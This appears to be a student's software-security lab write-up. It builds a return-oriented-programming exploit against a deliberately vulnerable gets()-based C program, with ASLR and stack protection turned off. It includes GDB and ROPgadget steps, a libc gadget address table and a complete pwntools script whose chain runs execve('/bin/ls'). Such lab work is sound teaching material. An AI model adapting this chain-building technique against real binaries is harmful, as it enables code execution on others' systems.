Exploit a stack-based buffer overflow in a 64-bit binary using Return-Oriented Programming to execute:
execve("/bin/ls", ["/bin/ls", 0], NULL);with the three arguments placed in %rdi, %rsi, and %rdx respectively.
#include <stdio.h>
int foo()
{
char buf[64];
printf("buffer address = %p\n", buf);
puts("Enter text: ");
gets(buf);
printf("Contents of buf are: %s\n", buf);
return 9;
}
int main()
{
printf("Addr of main: %p\n", &main);
return foo();
}Vulnerability: gets(buf) performs no bounds checking. Attacker can overflow the buffer with large input.
Compilation:
gcc -fno-stack-protector -O0 -no-pie -o vuln vuln.cConfirms baseline behavior. ASLR is disabled with setarch x86_64 -R so stack and libc addresses are stable.
setarch x86_64 -R ./vulnSample output:
Generate the pattern:
python3 -c "from pwn import cyclic; import sys; sys.stdout.buffer.write(cyclic(200))" > pattern.txt
Crash the program in GDB and read rsp:
gdb ./vuln
(gdb) run < pattern.txt
(gdb) x/gx $rsp
0x7fffffffdbd8: 0x6161617461616173Convert the value to an offset:
python3 -c "from pwn import cyclic_find; print(cyclic_find(0x6161617461616173))"Result: Saved RIP is 72 bytes past the start of buf (64 buffer + 8 saved RBP).
1) pop rdi ; ret$:
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep -E ": pop rdi ; ret$"
2) pop rbx ; ret$
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep -E ": pop rbx ; ret$"
3) pop rdx ; ret
Note: No clean pop rdx ; ret exists in this libc. We use a two-gadget trick:
pop rbx ; ret→ set rbx = 0mov rdx, rbx ; pop rbx ; pop r12 ; pop rbp ; ret→ copy rbx into rdx
4) mov rdx, r" | grep "ret$
ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 | grep -E "mov rdx, r" | grep "ret$"
5) pop rsi ; ret
Note: The clean pop rsi ; ret at offset 0x110a7d produces a runtime address containing \x0a (newline), which gets() would truncate. We use pop rsi ; pop rbp ; ret at offset 0x2b46b instead.
libc base:
gdb ./vuln -batch -ex "break foo" -ex "run" -ex "info proc mappings" | grep "libc.so.6" | head -1
execve:
gdb ./vuln -batch -ex "break foo" -ex "run" -ex "p (void*)execve"
Buffer address (run outside GDB):
setarch x86_64 -R ./vuln <<< "A" | grep "buffer address"
Final address table:
| Item | Value |
|---|---|
buf_addr |
0x7fffffffc270 |
libc_base |
0x7ffff7c00000 |
pop rdi ; ret |
libc + 0x10f78b |
pop rsi ; pop rbp ; ret |
libc + 0x2b46b |
pop rbx ; ret |
libc + 0x586e4 |
mov rdx, rbx ; ... |
libc + 0xb0153 |
execve |
0x7ffff7ceef30 |
#!/usr/bin/env python3
from pwn import *
context.arch = "amd64"
OFFSET = 72
buf_addr = 0x7fffffffc270
libc_base = 0x7ffff7c00000
execve_addr = 0x7ffff7ceef30
pop_rdi = libc_base + 0x10f78b
pop_rsi_rbp = libc_base + 0x2b46b
pop_rbx = libc_base + 0x586e4
mov_rdx_rbx = libc_base + 0xb0153
binls_offset = OFFSET + 12 * 8
binls_addr = buf_addr + binls_offset
argv_addr = binls_addr + 8
chain = b"PRATIK_KAMBLE_B00924004_CS553_SOFTWARE_SECURITY_PROJECT_COMPUTER_SCIENCE"
chain += p64(pop_rdi)
chain += p64(binls_addr)
chain += p64(pop_rsi_rbp)
chain += p64(argv_addr)
chain += p64(0)
chain += p64(pop_rbx)
chain += p64(0)
chain += p64(mov_rdx_rbx)
chain += p64(0) + p64(0) + p64(0)
chain += p64(execve_addr)
chain += b"/bin/ls\x00"
chain += p64(binls_addr)
chain += p64(0)
assert b"\n" not in chain, "invalid payload"
sys.stdout.buffer.write(chain)python3 exploit.py > payload.bin
setarch x86_64 -R ./vuln < payload.binOutput:
gcc -fno-stack-protector -O0 -no-pie -o vuln vuln.c
setarch x86_64 -R ./vuln <<< "A" | grep "buffer address" # update buf_addr if needed
python3 exploit.py > payload.bin
setarch x86_64 -R ./vuln < payload.bin